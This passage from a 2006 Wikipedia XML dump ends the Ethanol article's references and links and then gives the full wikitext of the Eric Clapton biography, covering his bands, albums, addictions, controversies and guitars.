* Al-Hassan, A.Y. [http://www.gabarin.com/ayh/Notes/Notes%207.htm &quot;Alcohol and the Distillation of Wine in Arabic Sources.&quot;]  Accessed [[14 November]] [[2005]].
* Couper, A.S. (1858). &quot;On a new chemical theory.&quot; ''Philosophical magazine'' '''16''', 104&amp;ndash;116. [http://web.lemoyne.edu/~giunta/couper/couper.html Online reprint]
* Great Britain (2005). ''The Denatured Alcohol Regulations 2005.'' Statatory Instrument 2005 No. 1524.  [http://www.opsi.gov.uk/si/si2005/20051524.htm Online reprint]
* Hennell, H. (1828). &quot;On the mutual action of sulphuric acid and alcohol, and on the nature of the process by which ether is formed.&quot; ''Philosophical Transactions'' '''118''', 365&amp;ndash;371.
* Lodgsdon, J.E. (1994). &quot;Ethanol.&quot; In J.I. Kroschwitz (Ed.) ''Encyclopedia of Chemical Technology, 4th ed.'' vol. 9, pp. 812&amp;ndash;860. New York: John Wiley &amp; Sons.
* Pohorecky, L.A., and J. Brick. (1988). &quot;Pharmacology of ethanol.&quot; ''Pharmacology &amp; Therapeutics'' '''36'''(3), 335-427.
* Ritter, S.K. ([[May 31]] [[2004]]). &quot;Biomass or Bust.&quot; ''Chemical &amp; Engineering News'' '''82'''(22), 31–34.
* Roach, J. ([[July 18]] [[2005]]) [http://news.nationalgeographic.com/news/2005/07/0718_050718_ancientbeer.html &quot;9,000-Year-Old Beer Re-Created From Chinese Recipe.&quot;] ''National Geographic News.''  Accessed [[14 November]] [[2005]].
* Smith, M.G., and M. Snyder. (2005). &quot;Ethanol-induced virulence of ''Acinetobacter baumannii''&quot;. ''American Society for Microbiology meeting''. [[June 5]]-[[June 9]]. Atlanta.
* [http://sci-toys.com/ingredients/alcohol.html Sci-toys website explanation of US denatured alcohol designations]

== External links ==

*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc00/icsc0044.htm International Chemical Safety Card 0044]
*[http://www.npi.gov.au/database/substance-info/profiles/35.html National Pollutant Inventory - Ethanol Fact Sheet]
*[http://www.cdc.gov/niosh/npg/npgd0262.html NIOSH Pocket Guide to Chemical Hazards]
* {{ecb}}
*[http://www.compchemwiki.org/index.php?title=Ethanol Coordinates of the ethanol molecule] on Computational Chemistry Wiki. Accessed on [[8 September]] [[2005]].
*[http://www.bluerhinos.co.uk/molview/indv.php?id=4 Molview from bluerhinos.co.uk] See Ethanol in 3D
; Ethanol as a Source of Renewable Energy
*[http://www.ethanolfacts.com EthanolFacts.com]
*[http://www.e85fuel.com E85Fuel.com]
*[http://www.drivingethanol.org/ DrivingEthanol.org]
*[http://www.sunopta.com/bioprocess/default.htm Cellulose Ethanol Production]
*[http://www.rengen.info/?p=17 Essay]
*[http://issct.intnet.mu/cpabs.htm Abstracts]
*[http://business.guardian.co.uk/story/0,16781,1648504,00.html Sugar powers a Revolution on Brazil's roads]
*[http://www.ethanolindia.net Ethanol as a Fuel Worldwide and India]

[[Category:Over-the-counter substances]]
[[Category:Alcohol]]
[[Category:Alcohols]]
[[Category:Teratogens]]
[[Category:Anxiolytics]]
[[Category:Solvents]]
[[Category:Household chemicals]]

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  </page>
  <page>
    <title>Eric Clapton</title>
    <id>10049</id>
    <revision>
      <id>42109186</id>
      <timestamp>2006-03-03T22:01:20Z</timestamp>
      <contributor>
        <username>Krash</username>
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      <comment>rvt...who's that?</comment>
      <text xml:space="preserve">{{Infobox_band
| band_name         = Eric Clapton
| image             = [[Image:Claptonprofile.jpg]]
| caption           = Eric Clapton
| years_active      = [[1963]] - [[2006|Present]]
| origin            = [[Ripley, Surrey|Ripley]], [[Surrey]], [[England]]
| music_genre       = [[Blues]]&lt;br&gt;[[Rock music|Rock]]
| record_label      = [[Polydor]]&lt;br&gt;[[Warner Music Group|Warner]]&lt;br&gt;[[Atlantic Records|Atlantic]]
}}

'''Eric Patrick Clapton''' [[Order of the British Empire|CBE]] (born [[March 30]], [[1945]]), nicknamed &quot;''Slowhand''&quot;, is a [[Grammy Award]] winning [[England|English]] [[guitarist]], singer and [[composer]], who became one of the most respected and influential musicians of the [[Rock (music)|rock]]-era, garnering an unprecedented three inductions into the [[Rock and Roll Hall of Fame]]. Clapton is widely considered to be one of the greatest and most influential guitarists in [[popular music]] history.

Although Clapton's musical style has varied throughout his career, it has always remained rooted in the [[Blues]]. Clapton is credited as an innovator in several phases of his career, which have included [[Blues-Rock]] (with [[John Mayall &amp; the Bluesbreakers]] and [[The Yardbirds]]) and [[Hard Rock]] (with [[Cream (band)|Cream]]). Clapton has also achieved great chart success in genres ranging from [[Delta Blues]] (the acoustic MTV ''[[Unplugged (Eric Clapton album)|Unplugged]]'' album), [[Rock music|Rock]] (&quot;''[[Sunshine of Your Love]]''&quot;), [[popular music |Pop]] (&quot;''Change the World''&quot;) and [[Reggae]] (&quot;''[[I Shot the Sheriff]]''&quot;).

== Musical Career &amp; Personal Life ==
=== Clapton's Early Days ===
Eric Clapton was born in [[Ripley, Surrey|Ripley]], [[Surrey]], [[England]], [[UK]] as the [[illegitimate]] son of [[teenage pregnancy|16 year old]] Patricia Molly Clapton and Edward Walter Fryer, a 24 year old [[Canada|Canadian]] pilot. Fryer returned to his wife in Canada prior to Clapton's birth. 

Clapton grew up with his [[grandparent]]s, believing they were his parents and that his mother was his older sister. Years later his mother married another Canadian soldier, moved to Canada and left Eric with his grandparents. When Clapton was 9 years old he discovered this family secret, and the experience became a defining moment in his life.

Clapton grew up a self-confessed &quot;nasty kid&quot;. In his high school years he attended the [[Hollyfield School]] in [[Surbiton]]. His first job was as a postman. Influenced by the [[blues]] from an early age, at age 13 Clapton recieved an [[Acoustic Guitar]] for his birthday, but he found learning the instrument so difficult he nearly gave up. After high school, Clapton studied [[stained-glass]] design at [[Kingston University|Kingston Art School]] but was later kicked out for playing his guitar during class. Clapton joined his first band at 17 and stayed with this band - the early British R&amp;B outfit [[The Roosters]] - from January through to August [[1963]]. During his time with the band, Clapton frequently jammed in London clubs with future members of the [[Rolling Stones]]. Clapton did a seven-gig stint with Casey Jones and the Engineers, a Top 40 band, in September 1963.

=== The Yardbirds &amp; John Mayall and the Bluesbreakers ===
[[Image:Clapton is God Graffiti.jpg|frame|right|An example of the famous &quot;''Clapton is God''&quot; graffiti craze]] 
Clapton joined [[The Yardbirds]], a [[blues]]-influenced [[rock and roll]] band in [[1963]] and stayed with them until [[1965]]. Synthesising influences from Chicago blues and leading blues guitarists such as [[B.B. King]] and [[Freddie King]], Clapton forged a distinctive style and he rapidly became one of the most talked-about guitarists in the British music scene. The band initially played all strict blues covers of [[Chess Records|Chess]]/[[Checker Records|Checker]]/[[Vee-Jay Records|Vee-Jay]] material and began to attract a large cult following when they took over the [[Rolling Stones]]' residency at the [[Crawdaddy Club]] in [[Richmond upon Thames|Richmond]]. They toured Europe with American bluesman [[Sonny Boy Williamson]]; a joint LP under both their names was issued in [[1966]]. In August 1965, the band's first solo album ''[[For Your Love]]'' yielded the eponymous pop hit &quot;''For Your Love''&quot;.

Still obstinately dedicated to his roots in blues, Clapton took strong exception to the Yardbirds' new pop-orientated direction, partly because &quot;''For Your Love''&quot; had been written by pop songwriter-for-hire [[Graham Gouldman]], who had also written hits for teen pop outfit [[Herman's Hermits]] and harmony pop band [[The Hollies]]. He reportedly refused to play on the single and quit the band as soon as it had been recorded in 1965. He recommended his friend [[Jimmy Page]] as his replacement, but Page was at that time unwilling to relinquish his lucrative career as a freelance studio musician, so Page in turn recommended Clapton's successor: [[Jeff Beck]] (although Page would also eventually join the band).

After a spell working in a laboring job and months of intensive practice, Clapton joined [[John Mayall &amp; the Bluesbreakers]]. His emotional playing on their hugely influential first album (which features Clapton reading a copy of the ''[[The Beano|Beano]]'' on the cover) established his name as a blues player ''par excellence'', and it inspired a short-lived craze of [[graffiti]] that deified him with the famous slogan &quot;''Clapton is God''&quot;.

=== Cream === 
Clapton left the Bluesbreakers in mid-[[1966]] (to be replaced by [[Peter Green (musician)|Peter Green]]) and then formed [[Cream (band)|Cream]], one of the earliest examples of a [[Supergroup (bands)|supergroup]]. Cream was also one of the earliest &quot;power trios&quot;, with [[Jack Bruce]] (also of [[Manfred Mann]] and the [[Graham Bond Organisation]]) and [[Ginger Baker]] (another member of the GBO). During his time with Cream, Clapton began to develop as a singer and songwriter, as well as guitarist, though Bruce, one of rock's most powerful singers, took most of the lead vocals and wrote the majority of the material with lyricist [[Pete Brown]]. Debuting at the [[Windsor Jazz and Blues Festival]], Cream established an enduring legend on the high-volume blues jamming and extended solos of their live shows, while their studio work was more sophisticated and original rock.
[[Image:Claptonsixties.jpg|thumb|left|205px|Eric Clapton with his [[Gibson SG]] whilst in supergroup [[Cream (band)|Cream]]]]
In early [[1967]], Clapton's status as Britain's top guitarist was shaken by the arrival of [[Jimi Hendrix]]. Hendrix attended a performance of the newly-formed Cream at the [[London Polytechnic|Central London Polytechnic]] on [[October 1]], 1966, during which Hendrix sat in on a shattering double-timed version of ''Killing Floor''. Clapton immediately realized that he had a new and almost unbeatable competitor, whose dazzling showmanship was matched by his staggering ability as a guitarist. Hendrix's early club performances were avidly attended by top UK stars including Clapton, [[Pete Townshend]] and [[The Beatles]]. Hendrix's arrival had an immediate and major effect on the next phase of Clapton's career.

Cream's repertoire varied from [[Pop music|pop]] soul (&quot;''[[I Feel Free]]''&quot;) to lengthy blues-based instrumental jams (&quot;''Spoonful''&quot;) and featured Clapton's searing guitar lines, Bruce's soaring vocals and prominent, fluid bass playing, and Baker's powerful, polyrhythmic jazz-influenced drumming. 

In a mere three years Cream had immense commercial success, selling 15 million records and playing to standing-room only crowds throughout the U.S. and Europe. They redefined the instrumentalist's role in rock and were one the first bands to emphasize musical virtuosity, skill and flash. Their U.S. hit singles include &quot;''[[Sunshine Of Your Love]]''&quot; (#5, 1968), &quot;''[[White Room]]''&quot; (#6, 1968) and &quot;''[[Crossroads (song)|Crossroads]]''&quot; (#28, 1969) - a live cover version of [[Robert Johnson]]'s &quot;''Cross Road Blues''&quot;. 

Although Cream was hailed as one of the greatest groups of its day, and the adulation of Clapton as guitar hero reached new heights, the band was destined to be short-lived. The legendary in-fighting between Bruce and Baker and growing tensions between all three members eventually led to Cream's demise. Another significant factor was a strongly critical [[Rolling Stone]] review of a concert of the group's second headlining U.S. tour, which affected Clapton profoundly. By this time he had also fallen deeply under the spell of the music of [[The Band]] after they had released the album ''[[Music From Big Pink]]'' and began to believe that rock music was heading in a new direction. He was so infatuated with them that he even asked to join them, but was turned down.

The valedictory ''Goodbye'' album featured live performances from Cream's farewell performance at the [[Royal Albert Hall]]; it was released shortly after Cream disbanded in [[1968]], and also featured the studio single &quot;''[[Badge (song)|Badge]]''&quot;, co-written by Clapton and [[George Harrison]], whom he had met and become friends with after [[the Beatles]] had shared a bill with the Clapton-era Yardbirds at the [[London Palladium]].  (The chorus of &quot;''Badge''&quot; served as the basis for Harrison's later Beatles composition, &quot;''[[Here Comes the Sun]]''&quot;, which Harrison reportedly composed in Clapton's back garden.) The close friendship between Clapton and Harrison also resulted in Clapton playing on Harrison's &quot;''[[While My Guitar Gently Weeps]]''&quot; from the Beatles' ''[[The Beatles (album)|White Album]]'' - according to some, a tactic intended to make the other Beatles take Harrison's song more seriously, but whatever the truth, by all accounts the presence of an outsider, especially of Clapton's calibre, had the effect of bringing harmony to the irritable band. At one point during the making of the ''White Album'', Harrison walked out after an argument and in his absence - fearing Harrison had gone for good and concerned that the album could not be completed - [[John Lennon]] proposed that Harrison be replaced by Clapton. In the same year of release as the ''White Album'', Harrison released his solo debut ''[[Wonderwall Music]]'' which became the first of many Harrison solo records to feature Clapton on guitar, who would go largely uncredited due to contractual restraints. The pair would often play live together as each other's guests, right up until Harrison's death in 2001 and the following [[Concert for George|tribute concert]] in his name, for which Clapton was one of the main performers and organizers.

Since their 1968 breakup, Cream briefly reunited in 1993 to perform at the ceremony inducting them into the Rock and Roll Hall of Fame. A full-scale reunion of the legendary trio took place in May 2005, with Clapton, Bruce and Baker playing 4 sold-out concerts at London's Royal Albert Hall (the scene of their 1968 farewell shows) and 3 more at New York's Madison Square Garden that October. Recordings from the London shows were [[Royal Albert Hall London May 2-3-5-6 2005|released on CD and DVD]] in September 2005.

=== Blind Faith &amp; Delaney and Bonnie and Friends ===
A desultory spell in a second supergroup, the overhyped and shortlived [[Blind Faith]] (1969), which was composed of Cream drummer Baker, [[Steve Winwood]] of [[Traffic (band)|Traffic]] and [[Rick Grech]] of [[Family (band)|Family]], resulted in one patchy LP and one arena-circuit tour. The supergroup debuted before 100,000 fans in London's [[Hyde Park]] on June 7, 1969, and began a sold-out American tour in July before its one and only album had been released. The LP was recorded in such haste that side two consisted of just two songs, one of them a 15 minute jam entitled &quot;''Do What You Like''&quot;. Nevertheless, ''Blind Faith'' did include two classics: Winwood's &quot;''Can't Find My Way Home''&quot; and Clapton's &quot;''Presence of the Lord''&quot;. The album's jacket image of a         prepubescent girl was deemed controversial in the U.S. and was replaced by a photograph of the band. Blind Faith dissolved after only a year together, and while Winwood went on to a highly successful solo career, by now Clapton was tired of both the spotlight and the hype that had surrounded Cream and Blind Faith, and wanted to make music that more closely resembled that of [[The Band]].

Clapton decided to step into the background for a time, touring as a sideman with the American group [[Delaney and Bonnie and Friends]]. He moved to [[New York]] in late 1969 and worked with the band through early [[1970]]. He became close friends with [[Delaney Bramlett]], who encouraged him in his singing and writing which would show determined growth in his next effort.

Using the Bramletts' backing group and an all-star cast of session players including [[Leon Russell]] and [[Stephen Stills]] whose solo albums Clapton played on, he released his first solo album in 1970 fittingly named [[Eric Clapton (album)|Eric Clapton]], which included the Bramlett composition &quot;''Bottle Of Red Wine''&quot; and one of Clapton's best songs from this period, &quot;''Let It Rain''&quot;. It also yielded an unexpected U.S. #18 hit, the [[J.J. Cale]] cover &quot;''After Midnight''&quot;.

Clapton's &quot;between-bands&quot; period from 1969 to 1970 also saw him appear on a large number of other artists' records, ranging from George Harrison's ''[[All Things Must Pass]]'' (for contractual reasons, Clapton's contributions went uncredited for decades) to [[The Plastic Ono Band]]'s ''Sometime in New York City'' and [[Dr John]]'s ''Sun Moon and Herbs''.

=== Derek and the Dominos ===
Taking over Delaney &amp; Bonnie's rhythm section &amp;mdash; [[Bobby Whitlock]] (keyboards, vocals), [[Carl Radle]] (bass) and [[Jim Gordon (musician)|Jim Gordon]] (drums) &amp;mdash; Clapton formed a new band which was similarly intended to counteract the 'star' cult that had grown up around him and show Clapton as an equal member of a fully-fledged group. This was made evident in the choice of name [[Derek and the Dominos]], derived from an announcer's mispronunciation of the group's provisional name - &quot;Eric &amp; The Dynamos&quot; - at their first concert appearance.

Clapton's close friendship with [[George Harrison]] had brought him into contact with Harrison's wife [[Pattie Boyd|Pattie Boyd-Harrison]], with whom he fell deeply in love. When she turned him down, Clapton's unrequited affections prompted most of the material for the Dominos' album ''[[Layla and Other Assorted Love Songs]]'', most notably the hit single &quot;''[[Layla]]''&quot;, inspired by the [[Persians|Persian]] classical poet [[Nizami Ganjavi]]'s &quot;''[[Layla and Majnun|The Story of Layla and Majnun]]''&quot;, a copy of which a friend had given him; Clapton found a strong similarity between the situation of Layla and Majnun and the one between him and Boyd-Harrison. 
[[Image:Layla Album.jpg|frame|right|''[[Layla and Other Assorted Love Songs]]'' is considered Clapton’s masterpiece]] 
Working at [[Criteria Studios]] in Miami with legendary [[Atlantic Records]] producer [[Tom Dowd]], the band recorded a brilliant double-album which is now widely regarded as Clapton's masterpiece. The two parts of &quot;''Layla''&quot;&quot; were recorded in separate sessions: the opening guitar section was recorded first, and for the second section, laid down several months later, drummer Jim Gordon composed and played the elegiac piano part.

The Layla LP was actually recorded by a five-piece version of the group, thanks to the unforeseen inclusion of guitarist [[Duane Allman]] of [[The Allman Brothers]] Band. A few days into the Layla sessions, Dowd -- who was also producing the Allmans -- invited Clapton to an Allman Brothers outdoor concert in Miami. The two guitarists &amp;mdash; who previously knew each other only by reputation &amp;mdash; met backstage after the show, and then both bands repaired to the studio to jam (an impromptu session which, happily, was captured on tape). Clapton and Allman fell in love with each other's playing and became instant friends, and Allman was immediately invited to become the fifth member of The Dominos. (These studio jams were eventually released as part of the 3-CD 20th-anniversary edition of the Layla album.)

When Allman and Clapton met, The Dominos had already recorded three tracks (&quot;''I Looked Away''&quot;, &quot;''Bell Bottom Blues''&quot; and &quot;''Keep On Growing''&quot;); Allman debuted on the fourth cut, &quot;''Nobody Knows You When You're Down And Out''&quot;, and contributed some of his most sublime slide-guitar playing to the remainder of the LP. The album was heavily blues-influenced and featured a winning combination of the twin guitars of Allman and Clapton, with Allman's incendiary slide-guitar a key ingredient of the sound. It showcased some of Clapton's strongest material to date, as well as arguably some of his best guitar playing, with Whitlock also contributing several superb numbers, and his powerful, soul-influenced voice.

Tragedy dogged the group throughout its brief career. During the sessions, Clapton was devastated by news of the death of Jimi Hendrix; eight days previously the band had cut a blistering version of &quot;''Little Wing''&quot; as a tribute to him which was added to the album. One year later, on the eve of the group's first American tour, Duane Allman was killed in a motorcycle accident. Adding to Clapton's woes, the ''Layla'' album received only lukewarm reviews on release; he later commented that the album's initial poor reception had angered and disillusioned him, as he had (perhaps naively) expected it to be assessed on its merits rather than his involvement.

The shattered group undertook a US tour. Despite Clapton's later admission that the tour took place amidst a veritable blizzard of drugs and alcohol, it resulted in the surprisingly strong live double album ''In Concert''. But [[Derek and the Dominos]] disintegrated messily in [[London]] just as they commenced recording for their second LP. Although Radle worked with Clapton for several more years, the split between Clapton and Whitlock was apparently a bitter one, and they never worked together again. Another tragic footnote to the Dominos story was the fate of drummer Jim Gordon, who was an undiagnosed [[schizophrenia|schizophrenic]] &amp;mdash; some years later, during a [[psychosis|psychotic]] episode, he murdered his mother with a hammer and was confined to a mental institution, where he remains today.
[[Image:Clapton.jpg|thumb|left|210px|Eric Clapton in [[Wetzikon]], [[Zurich]], [[Switzerland]] on [[June 19]] [[1977]]]]
===Full Throttle Solo Career===
Despite his success, Clapton's personal life was in a mess by [[1972]]. In addition to his (temporarily) unrequited and intense romantic longing for Pattie Boyd-Harrison, he withdrew from recording and touring and became addicted to [[heroin]], resulting in a career hiatus interrupted only by the [[Concert for Bangladesh]] (where he passed out on stage, was revived, and continued the show). In [[1973 in music|1973]], the &quot;[[Eric Clapton's Rainbow Concert|Rainbow Concert]]&quot; was organized by [[The Who]]'s [[Pete Townshend]] to help Clapton kick the drug. Clapton returned the favour by playing 'The Preacher' in Ken Russell's film version of The Who's ''[[Tommy]]'' in 1975; his appearance in the film (performing &quot;''Eyesight To The Blind''&quot;) is notable for the fact that he is clearly wearing a fake beard in some shots, the result of deciding to shave off his real beard after the initial takes.

Now partnered with Boyd-Harrison (they would not actually marry until 1979) and free of heroin (although starting to drink heavily), Clapton put together a strong new touring band that included Radle, [[Miami]] guitarist [[George Terry]], drummer [[Jamie Oldaker]] and vocalists [[Yvonne Elliman]] and [[Marcy Levy]] (later better known as [[Marcella Detroit]] of [[1980s]] pop duo [[Shakespear's Sister]]). With this band Clapton recorded ''[[461 Ocean Boulevard]]'' ([[1974 in music|1974]]), an album with the emphasis on songs rather than musicianship; the cover-version of &quot;''[[I Shot The Sheriff]]''&quot; was a major hit and was important in bringing [[reggae]] and the music of [[Bob Marley]] to a wider audience. The band toured the world and subsequently released the [[1975 in music|1975]] live LP, ''E.C. Was Here''.

The [[1975 in music|1975]] album ''There's One In Every Crowd'' continued the trend of ''461''. Its original intended title ''The World's Greatest Guitar Player (There's One In Every Crowd)'' was altered, as it was felt the ironic intention would be missed. (Clapton's own original cover artwork, a (self-)portrait of a miserable-looking character with a pint glass, was also replaced by a photograph of Clapton's dog Jeep, apparently with its muzzle on a coffin.) 

Clapton continued to release albums sporadically and toured regularly, but much of his output from this period was deliberately low-key and failed to find the wide acceptance of his earlier work; highlights of the era include ''No Reason to Cry'', whose collaborators included [[Bob Dylan]] and [[Robbie Robertson]], and ''[[Slowhand]]'', which featured &quot;''[[Wonderful Tonight]]''&quot;, another song inspired by Pattie Boyd-Harrison, and a second J.J. Cale cover, &quot;''[[Cocaine (song)|Cocaine]]''&quot;, which has since become a rock staple.

=== Controversy and comeback ===
In [[1976]], Clapton was the centre of controversy, and accusations of [[racism]], when he spoke out against increasing immigration, during a concert in [[Birmingham]]. Clapton said that England had &quot;become overcrowded&quot;, and implored the crowd to vote for [[Enoch Powell]] to stop Britain becoming &quot;a black colony&quot;. These comments (along with equally ill-advised remarks by [[David Bowie]]) led to the creation of the [[Rock Against Racism]] movement in the UK. 

Despite his controversial stance, Clapton has not made any notable effort to distance himself from the remarks and has denied there was any contradiction between his political views and his career based on an essentially black musical form. At about this time, his name appeared on albums distributed in Japan as ''Eric Crapton''[http://www.engrish.com/detail.php?imagename=CDCover.jpg&amp;category=Music&amp;date=2002-02-18], though this is most probably a case of [[Engrish]] rather than sabotage.

The late [[1970s]] saw Clapton struggle to come to terms with the changes in popular music, and a relapse into [[alcoholism]] that eventually saw him hospitalised and then spending a period of convalescence in [[Antigua]], where he would later support the creation of a drugs and alcohol [[Substance-abuse rehabilitation|rehabilitation]] centre, [[The Crossroads Centre]]. 

As Clapton came back from his addictions, his album output continued in the [[1980s]], including two produced with [[Phil Collins]], 1985's ''[[Behind the Sun (Eric Clapton album)|Behind the Sun]]'' and 1986's ''[[August (album)|August]]''. The latter, a polished, pop-oriented album suffused with Collins's trademark drum/horn sound, became his biggest seller in the UK to date and matched his highest chart position, number 3. The album's first track, the hit &quot;''It's In The Way That You Use It''&quot;, was also featured in the [[Tom Cruise]]-[[Paul Newman]] movie ''[[The Color of Money]]'' The horn-peppered &quot;''Run''&quot; echoed &quot;''Sussudio''&quot; and the producer's Genesis/solo output, while &quot;''Tearing Us Apart''&quot; (with [[Tina Turner]]) and the bitter &quot;''Miss You''&quot; echoed Slowhand at his angry best.

The period kicked off Clapton's extensive two-year period of touring with Collins and their ''August'' collaborates, bassist Nathan East and keyboard player/songwriter Greg Phillinganes. Despite his own earlier battles with the bottle, Clapton also remade &quot;''After Midnight''&quot; as a single and a promotional track for the [[Michelob]] beer brand produced by [[Anheuser-Busch]], which had also marketed earlier songs by Collins and [[Steve Winwood]].

Clapton won more plaudits and a [[British Academy Television Award]] for his collaboration with [[Michael Kamen]] on the score for the critically-acclaimed [[1985]] [[BBC]] television thriller serial ''[[Edge of Darkness]]''. 

In [[1989 in music|1989]], Clapton's commercial and artistic resurgence finally came full circle with '[['Journeyman (album)|Journeyman]]'', which featured songs in a wide range of styles from blues to jazz, soul and pop and collaborators including George Harrison and [[Robert Cray]].

=== Tragedy again ===
In [[1985]] Clapton, while still married to Pattie Boyd-Harrison, had started a relationship with [[Yvonne Khan Kelly]]; they had a daughter, Ruth, in the same year. Clapton did not publicly acknowledge his daughter's existence for several years (she eventually made a spoken-word appearance on his 1998 album ''[[Pilgrim (1998 album)|Pilgrim]]'' and in 2001 was pictured in the ''Reptile'' album artwork). Clapton and Boyd-Harrison [[divorce|divorced]] in [[1988]] following his affair with [[Italy|Italian]] [[Model (person)|model]] [[Lory Del Santo]], who gave birth to his son Conor in August 1986 (the month of his birth prompting the title of the album released that year).

The early [[1990s]] saw tragedy enter Clapton's life again on two occasions. On [[August 27]], [[1990]] guitarist [[Stevie Ray Vaughan]], who was touring with Clapton, and two members of their road crew were killed in a helicopter crash between concerts. Then, on [[March 20]] [[1991]] at 11:00AM, Conor, who was four and a half, died when he fell from a 53rd-story window in his parents' [[New York City]] apartment, landing on the roof of an adjacent four-story building. A fraction of Clapton's grief was heard on the song &quot;[[Tears in Heaven|''Tears in Heaven'']]&quot; (on the soundtrack to the [[1991 in film|1991]] movie ''[[Rush (1991 film)|Rush]]''), co-written with [[Will Jennings]], which, like the ''[[MTV Unplugged]]'' album that followed it, won a [[Grammy]] award.[[Image:eclapton_cardiff.jpg|thumb|right|220px|Eric Clapton at the Tsunami Relief Concert at [[Millennium Stadium]] in [[Cardiff]], [[Wales]], [[UK]] on [[22 January]] [[2005]]]]

It should be noted that Clapton's ''[[MTV Unplugged]]'' [[Unplugged (Eric Clapton album)|album]] included a former member of the [[Allman Brothers Band]]: keyboardist [[Chuck Leavell]] (thus making ''[[Unplugged (Eric Clapton album)|Unplugged]]'' Clapton's second critically acclaimed offering to feature a member of the Allmans.

=== Slowhand Re-Emerging ===
Like ''Unplugged'', his [[1994 in music|1994]] album ''[[From The Cradle]]'' featured a number of versions of old blues standards, and highlighted his economical [[acoustic guitar]] style.

Clapton finished the [[twentieth century]] with critically-acclaimed collaborations with [[Carlos Santana]] and [[B. B. King]]. Clapton's [[1996]] recording of the [[Wayne Kirkpatrick]]/ [[Gordon Kennedy]]/[[Tommy Sims]] tune &quot;''Change the World''&quot; won a [[Grammy]] award for song of the year in [[1997]], the same year he recorded ''Retail Therapy'', an album of [[electronic music]] with [[Simon Climie]] under the pseudonym TDF.

In [[1999]] Clapton, then 54, met 25 year old [[graphic artist]] [[Melia McEnery]] in [[Los Angeles]] while working on an album with B.B. King.  They married in [[2002]] at St Mary Magdalen church in Clapton's birthplace, Ripley, and as of 2005 have three daughters, Julia Rose ([[2001]]), Ella May ([[2003]]), and Sophie ([[2005]]). 

In November 2002 Clapton masterminded [[Concert for George|The Concert for George]], a star-studded tribute to George Harrison at the Royal Albert Hall, featuring [[Sir Paul McCartney]], [[Ringo Starr]], [[Jeff Lynne]] and [[Tom Petty]], amongst others.

The rights to Clapton's official memoirs, to be written by [[Christopher Simon Sykes]] and published in 2007, were [http://books.guardian.co.uk/comment/story/0,,1597895,00.html reportedly] sold at the 
2005 [[Frankfurt Book Fair]] for [[USD]] $4 million.

In [[2006]] it was announced that [[Derek Trucks]] would join Clapton's band for his [[2006]] and [[2007]] tour.  Trucks is the third member of the [[Allman Brothers Band]] to support Clapton.

== Eric's Axes ==
[[Image:Claptonstrat.jpg|thumb|left|164px|The Eric Clapton signature [[Stratocaster]], made by [[Fender]]]]
Clapton's choice of electric guitars have been as notable as the man himself, and alongside [[Hank Marvin]], [[The Beatles]] and [[Jimi Hendrix]], Clapton has exerted a crucial and widespread influence in popularising particular models of the [[electric guitar]].

Early on in his career, Clapton used a late 1950s [[Gibson Les Paul]], and was partially responsible for Gibson's reintroduction of the original Les Paul body style after is was replaced by the [[Gibson SG]].

During his stint in Cream, Clapton continued to use Gibson guitars, including the Les Paul (which was later stolen) and a [[Gibson ES-335]], but his most famous guitar in this period was a 1964 [[Gibson SG]].  The guitar was noted both for its distinctive singing tone - which Clapton called the &quot;woman tone&quot; - and for its remarkable appearance. In early 1967, just before their first US promotional tour, Clapton's SG, Bruce's [[Fender VI]] and Baker's drum head were repainted in eye-popping psychedelic designs created by the visual art collective known as ''[[The Fool (design collective)|The Fool]]''.

It is not clear whether Clapton played the SG or a Les Paul on &quot;''While My Guitar Gently Weeps''&quot;. (''Guitar World'' magazine - March 1999, page 117 - says it was a Les Paul, as do most other references). He later loaned the SG to singer [[Jackie Lomax]], who subsequently sold it to musician [[Todd Rundgren]] for [[US dollar|US]] 500 in 1972.   Rundgren restored the guitar and nicknamed it &quot;Sunny&quot;, after &quot;Sunshine Of Your Love&quot;, on which it featured.  He played the guitar extensively on record and in concert in the mid-1970s, eventually retiring it in 1977. He retained it until 2000, when he sold it at an [[auction]] for US$150,000.

During Clapton's heroin addiction from 1971 to 1973 following the dissolution of [[Derek and the Dominos]], Clapton began to sell his collection of guitars to pay for his drug habit. Seeing Clapton selling his most treasured possessions was one of the reasons [[Pete Townshend]] was prompted to assist him get over his addiction.

Another moment involving Clapton's guitars and Pete Townshend resulted in [[Hard Rock Cafe]]'s unique and gigantic collection of memorabilia. In 1971, Clapton, a regular at the original Hard Rock Cafe in [[Hyde Park]], [[London]], gave a signed guitar to the cafe to designate his favorite bar stool. Pete Townshend, in turn, donated one of his own guitars, with a note attached: &quot;Mine's as good as his! Love, Pete.&quot; From there, the collection of memorabilia grew, resulting in Hard Rock Cafe's atmosphere. 

Later (and probably due to Hendrix's influence), Clapton began using [[Fender]] [[Stratocaster|Stratocasters]].  Most famous of all Clapton's guitars was &quot;''[[Blackie]]''&quot; (a concoction of Clapton's favorite parts from several other Strats) which he used until the late [[1980s]] when it literally wore out.

In [[1988]] Clapton, along with fellow Strat player [[Yngwie Malmsteen]], was honored by Fender with the introduction of his signature [[Eric Clapton Stratocaster]]. These were the first two artist models in the Stratocaster range and since then the artist series has grown to include models inspired by both Clapton's contemporaries such as [[Jeff Beck]] and those who have influenced him such as [[Buddy Guy]]. The late [[Stevie Ray Vaughan]] also has an artist series model. Clapton has also been honoured with a signature-model acoustic guitar made by the famous American firm of [[C.F. Martin &amp; Co.]]. 

In [[1999]] Clapton auctioned off some of his guitar collection to raise money for his [[Crossroads Centre]] he founded in Antigua in 1997. The [[Crossroads Centre]] is a treatment base for addictive disorders like [[drug addiction | drugs]] and [[alcoholism | alcohol]]. The total revenue raised by the auction at [[Christie's]] was US $7,438,624.

== Discographies ==
*[[Eric Clapton discography|Album Discography]]
*[[Eric Clapton singles discography|Singles Discography]]

== Band ==
=== Current Band ===
* '''Eric Clapton''' - [[guitar]], [[vocals]]
* [[Doyle Bramhall II]] - [[guitar]], [[backing vocals]]
* [[Andy Fairweather Low]] - [[guitar]]
* [[Paulinho Da Costa]] - [[percussion (instrument)|percussion]]
* [[Nathan East]] - [[bass guitar]], [[backing vocals]]
* [[Steve Gadd]] - [[drums]]
* [[David Sancious]] - [[Keyboard instrument|keyboards]], [[guitar]], [[harmonica]], [[backing vocals]]
* [[Chris Stainton]] - [[piano]], [[Keyboard instrument|keyboards]]
* [[Billy Preston]] - [[Hammond Organ|Hammond B3 Organ]]

=== Previous Band Members ===
* [[John Jackson]] - [[guitar]]
* [[Phil Collins]] - [[drums]], [[vocals]]
* [[Ray Cooper]] - [[percussion instrument|percussion]]
* [[Yvonne Elliman]] - [[backing vocals]]
